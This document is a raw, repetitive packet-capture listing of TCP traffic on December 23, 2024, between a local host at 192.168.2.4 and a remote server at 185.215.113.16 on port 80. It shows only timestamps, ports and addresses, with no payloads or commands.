Dec 23, 2024 08:07:56.474252939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.474330902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.476588964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.476602077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.476654053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.478895903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.479060888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.479190111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.481182098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.481307030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.481379986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.483500957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.483603001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.483645916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.485791922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.485869884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.485925913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.487983942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.488087893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.488149881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.490144014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.490222931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.490279913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.492357016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.492639065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.492748976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.494458914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.494570017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.494633913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.496606112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.496680021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.496725082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.498667955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.498827934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.498873949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.500745058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.500808954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.500946045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.502759933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.502867937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.502918005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.504817009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.504913092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.504959106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.506828070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.506927967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.506983995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.508821964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.509244919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.509305954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.510771990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.510873079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.510921955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.512737036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.512886047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.512927055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.514688969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.514831066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.514906883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.516572952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.516684055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.516760111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.518481016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.518611908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.518661022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.520401955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.520497084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.520545959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.522279978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.522398949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.522458076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.524143934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.524229050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.524270058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.526021004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.526120901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.526290894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.527973890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.528083086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.528166056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.529815912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.529866934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.529932976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.531744957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.531829119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.531876087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.533554077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.533663034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.533706903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.535420895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.535573959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.535618067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.537322044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.537435055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.537483931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.539189100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.539304972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.539361954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.541119099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.541270971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.541316032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.542941093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.543030024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.543076992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.544845104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.544960976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.545007944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.546724081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.546824932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.546875000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.548614025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.548719883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.548765898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.550456047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.550585985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.550632000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.552469015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.552582026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.552634001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.554250956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.554475069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.554533005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.556216002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.556267023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.556319952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.557991982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.558129072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.558314085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.559878111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.559978008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.560043097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.561803102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.561923981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.561969042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.563671112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.563739061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.563793898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.565535069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.565642118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.565691948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.567380905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.615032911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.657670975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.657737970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.657819986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.658281088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.658370972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.658441067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.659292936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.659363985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.659411907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.660672903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.660774946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.660835028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.662048101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.662208080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.662266970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.663327932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.663441896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.663495064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.664669037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.664787054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.664834976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.666022062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.666094065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.666145086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.667278051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.667398930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.667459011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.668546915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.668653965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.668736935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.669862986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.669933081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.669996977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.671093941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.671231985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.671274900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.672358990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.672488928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.672537088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.673585892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.673701048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.673871040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.674835920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.674961090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.675014019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.676076889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.676176071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.676246881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.677287102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.677403927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.677467108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.678503990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.678606033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.678657055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.679755926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.679884911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.679930925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.680905104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.680989027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.681044102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.682100058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.682209969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.682269096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.683278084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.683388948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.683439016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.684513092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.684626102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.684743881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.685615063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.685719013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.685765028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.686769962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.686873913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.686922073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.687932968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.688049078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.688098907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.689100027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.689189911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.689353943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.690223932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.690494061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.690557957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.691370010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.691503048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.691555977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.692584038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.692642927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.692697048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.693687916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.693747997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.693924904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.695177078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.695280075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.695444107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.695970058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.696101904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.696168900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.697134018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.697215080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.697272062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.698271036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.698362112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.698424101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.699384928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.699512959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.699561119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.700541973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.700645924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.700700998 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.701874971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.702020884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.702080965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.702831984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.702949047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.702999115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.704015017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.704124928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.704209089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.705154896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.705290079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.705387115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.706296921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.706404924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.706531048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.707506895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.707581997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.707628012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.708590031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.708690882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.708770037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.709736109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.709836960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.709897041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.710897923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.710984945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.711038113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.712276936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.712475061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.712524891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.713166952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.713275909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.713330984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.714325905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.714423895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.714468956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.715517044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.715626001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.715677977 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.716641903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.716742039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.716787100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.717760086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.717885971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.717952013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.718919992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.719021082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.719064951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.720047951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.771294117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.849776030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.849812984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.849863052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.850080013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.850145102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.850187063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.851079941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.851269007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.851341963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.852121115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.852260113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.852355003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.853056908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.853245020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.853298903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.854054928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.854171038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.854280949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.855074883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.855180025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.855231047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.856106997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.856182098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.856230974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.857089996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.857150078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.857192039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.858061075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.858167887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.858213902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.859092951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.859170914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.859325886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.860090971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.860202074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.860244036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.861093044 CET	80	49744	185.215.113.16	192.168.2.4
